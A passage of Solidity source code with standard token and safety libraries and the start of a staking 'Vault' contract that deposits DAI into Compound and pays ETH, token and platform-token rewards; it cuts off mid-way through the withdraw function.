Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface CErc20 { function mint(uint256) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function supplyRatePerBlock() external returns (uint256); function redeem(uint) external returns (uint); function redeemUnderlying(uint) external returns (uint); } interface IUniswapV2Router { function WETH() external pure returns (address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } /** * Accounting: * - the smart contract maintains a ledger of token balances which changes upon actions affecting * this smart contract's token balance. * * - it allows owner to withdraw any extra amount of any tokens that have not been recorded, * i.e, - any tokens that are accidentally transferred to this smart contract. * * - care must be taken in auditing that `claimExtraTokens` function does not allow withdrawals of * any tokens in this smart contract in more amounts than necessary. In simple terms, admin can * only transfer out tokens that are accidentally sent to this smart contract. Nothing more nothing less. */ contract Vault is Ownable, ReentrancyGuard { using SafeMath for uint; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; using SafeERC20 for IERC20; //==================== Contract Variables ======================= // Contract variables must be changed before live deployment uint public constant LOCKUP_DURATION = 60 days; uint public constant FEE_PERCENT_X_100 = 30; uint public constant FEE_PERCENT_TO_BUYBACK_X_100 = 2500; uint public constant REWARD_INTERVAL = 365 days; uint public constant ADMIN_CAN_CLAIM_AFTER = 395 days; uint public constant REWARD_RETURN_PERCENT_X_100 = 1300; // ETH fee equivalent predefined gas price uint public constant MIN_ETH_FEE_IN_WEI = 40000 * 1 * 10**9; address public constant TRUSTED_DEPOSIT_TOKEN_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant TRUSTED_CTOKEN_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant TRUSTED_PLATFORM_TOKEN_ADDRESS = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17; address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; //================= End Contract Variables ====================== uint public constant ONE_HUNDRED_X_100 = 10000; uint public immutable contractStartTime; constructor() public { contractStartTime = block.timestamp; } IUniswapV2Router public constant uniswapRouterV2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); modifier noContractsAllowed() { require(tx.origin == msg.sender, "No Contracts Allowed!"); _; } // ------------------- event definitions ------------------- event Deposit(address indexed account, uint amount); event Withdraw(address indexed account, uint amount); event EtherRewardDisbursed(uint amount); event TokenRewardDisbursed(uint amount); event PlatformTokenRewardClaimed(address indexed account, uint amount); event CompoundRewardClaimed(address indexed account, uint amount); event EtherRewardClaimed(address indexed account, uint amount); event TokenRewardClaimed(address indexed account, uint amount); event PlatformTokenAdded(uint amount); // ----------------- end event definitions ----------------- EnumerableSet.AddressSet private holders; // view functon to get number of stakers function getNumberOfHolders() public view returns (uint) { return holders.length(); } // token contract address => token balance of this contract mapping (address => uint) public tokenBalances; // user wallet => balance mapping (address => uint) public cTokenBalance; mapping (address => uint) public depositTokenBalance; mapping (address => uint) public totalTokensDepositedByUser; mapping (address => uint) public totalTokensWithdrawnByUser; mapping (address => uint) public totalEarnedCompoundDivs; mapping (address => uint) public totalEarnedEthDivs; mapping (address => uint) public totalEarnedTokenDivs; mapping (address => uint) public totalEarnedPlatformTokenDivs; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; uint public totalCTokens; uint public totalDepositedTokens; // ----------------- uint public constant POINT_MULTIPLIER = 1e18; mapping (address => uint) public lastTokenDivPoints; mapping (address => uint) public tokenDivsBalance; uint public totalTokenDivPoints; mapping (address => uint) public lastEthDivPoints; mapping (address => uint) public ethDivsBalance; uint public totalEthDivPoints; mapping (address => uint) public platformTokenDivsBalance; uint public totalEthDisbursed; uint public totalTokensDisbursed; function tokenDivsOwing(address account) public view returns (uint) { uint newDivPoints = totalTokenDivPoints.sub(lastTokenDivPoints[account]); return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER); } function ethDivsOwing(address account) public view returns (uint) { uint newDivPoints = totalEthDivPoints.sub(lastEthDivPoints[account]); return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER); } function distributeEthDivs(uint amount) private { if (totalDepositedTokens == 0) return; totalEthDivPoints = totalEthDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens)); totalEthDisbursed = totalEthDisbursed.add(amount); increaseTokenBalance(address(0), amount); emit EtherRewardDisbursed(amount); } function distributeTokenDivs(uint amount) private { if (totalDepositedTokens == 0) return; totalTokenDivPoints = totalTokenDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens)); totalTokensDisbursed = totalTokensDisbursed.add(amount); increaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount); emit TokenRewardDisbursed(amount); } // ----------------- // view function to get depositors list function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositTokenBalance[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } function updateAccount(address account) private { // update user account here uint tokensOwing = tokenDivsOwing(account); lastTokenDivPoints[account] = totalTokenDivPoints; if (tokensOwing > 0) { tokenDivsBalance[account] = tokenDivsBalance[account].add(tokensOwing); } uint weiOwing = ethDivsOwing(account); lastEthDivPoints[account] = totalEthDivPoints; if (weiOwing > 0) { ethDivsBalance[account] = ethDivsBalance[account].add(weiOwing); } uint platformTokensOwing = platformTokenDivsOwing(account); if (platformTokensOwing > 0) { platformTokenDivsBalance[account] = platformTokenDivsBalance[account].add(platformTokensOwing); } lastClaimedTime[account] = block.timestamp; } function platformTokenDivsOwing(address account) public view returns (uint) { if (!holders.contains(account)) return 0; if (depositTokenBalance[account] == 0) return 0; uint timeDiff; uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL); uint _now = block.timestamp; if (_now > stakingEndTime) { _now = stakingEndTime; } if (lastClaimedTime[account] >= _now) { timeDiff = 0; } else { timeDiff = _now.sub(lastClaimedTime[account]); } uint pendingDivs = depositTokenBalance[account] .mul(REWARD_RETURN_PERCENT_X_100) .mul(timeDiff) .div(REWARD_INTERVAL) .div(ONE_HUNDRED_X_100); return pendingDivs; } function getEstimatedCompoundDivsOwing(address account) public view returns (uint) { uint convertedBalance = getConvertedBalance(cTokenBalance[account]); uint depositedBalance = depositTokenBalance[account]; return (convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0); } function getConvertedBalance(uint _cTokenBalance) public view returns (uint) { uint exchangeRateStored = getExchangeRateStored(); uint convertedBalance = _cTokenBalance.mul(exchangeRateStored).div(10**18); return convertedBalance; } function _claimEthDivs() private { updateAccount(msg.sender); uint amount = ethDivsBalance[msg.sender]; ethDivsBalance[msg.sender] = 0; if (amount == 0) return; decreaseTokenBalance(address(0), amount); msg.sender.transfer(amount); totalEarnedEthDivs[msg.sender] = totalEarnedEthDivs[msg.sender].add(amount); emit EtherRewardClaimed(msg.sender, amount); } function _claimTokenDivs() private { updateAccount(msg.sender); uint amount = tokenDivsBalance[msg.sender]; tokenDivsBalance[msg.sender] = 0; if (amount == 0) return; decreaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, amount); totalEarnedTokenDivs[msg.sender] = totalEarnedTokenDivs[msg.sender].add(amount); emit TokenRewardClaimed(msg.sender, amount); } function _claimCompoundDivs() private { updateAccount(msg.sender); uint exchangeRateCurrent = getExchangeRateCurrent(); uint convertedBalance = cTokenBalance[msg.sender].mul(exchangeRateCurrent).div(10**18); uint depositedBalance = depositTokenBalance[msg.sender]; uint amount = convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0; if (amount == 0) return; uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceived); totalEarnedCompoundDivs[msg.sender] = totalEarnedCompoundDivs[msg.sender].add(depositTokenReceived); emit CompoundRewardClaimed(msg.sender, depositTokenReceived); } function _claimPlatformTokenDivs(uint _amountOutMin_platformTokens) private { updateAccount(msg.sender); uint amount = platformTokenDivsBalance[msg.sender]; if (amount == 0) return; address[] memory path = new address[](3); path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS; path[1] = uniswapRouterV2.WETH(); path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uint estimatedAmountOut = uniswapRouterV2.getAmountsOut(amount, path)[2]; require(estimatedAmountOut >= _amountOutMin_platformTokens, "_claimPlatformTokenDivs: slippage error!"); if (IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)) < estimatedAmountOut) { return; } platformTokenDivsBalance[msg.sender] = 0; decreaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, estimatedAmountOut); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(msg.sender, estimatedAmountOut); totalEarnedPlatformTokenDivs[msg.sender] = totalEarnedPlatformTokenDivs[msg.sender].add(estimatedAmountOut); emit PlatformTokenRewardClaimed(msg.sender, estimatedAmountOut); } function claimEthDivs() external noContractsAllowed nonReentrant { _claimEthDivs(); } function claimTokenDivs() external noContractsAllowed nonReentrant { _claimTokenDivs(); } function claimCompoundDivs() external noContractsAllowed nonReentrant { _claimCompoundDivs(); } function claimPlatformTokenDivs(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant { _claimPlatformTokenDivs(_amountOutMin_platformTokens); } function claim(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant { _claimEthDivs(); _claimTokenDivs(); _claimCompoundDivs(); _claimPlatformTokenDivs(_amountOutMin_platformTokens); } function getExchangeRateCurrent() public returns (uint) { uint exchangeRateCurrent = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateCurrent(); return exchangeRateCurrent; } function getExchangeRateStored() public view returns (uint) { uint exchangeRateStored = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateStored(); return exchangeRateStored; } function deposit(uint amount, uint _amountOutMin_ethFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); updateAccount(msg.sender); // increment token balance! IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount); totalTokensDepositedByUser[msg.sender] = totalTokensDepositedByUser[msg.sender].add(amount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, 0); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).mint(amount) == 0, "mint failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint cTokenReceived = newCTokenBalance.sub(oldCTokenBalance); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].add(cTokenReceived); totalCTokens = totalCTokens.add(cTokenReceived); increaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenReceived); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].add(amount); totalDepositedTokens = totalDepositedTokens.add(amount); handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); holders.add(msg.sender); depositTime[msg.sender] = block.timestamp; emit Deposit(msg.sender, amount); } function withdraw(uint amount, uint _amountOutMin_ethFeeBuyBack, uint _amountOutMin_tokenFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!"); require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing."); updateAccount(msg.sender); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount); totalDepositedTokens = totalDepositedTokens.sub(amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); 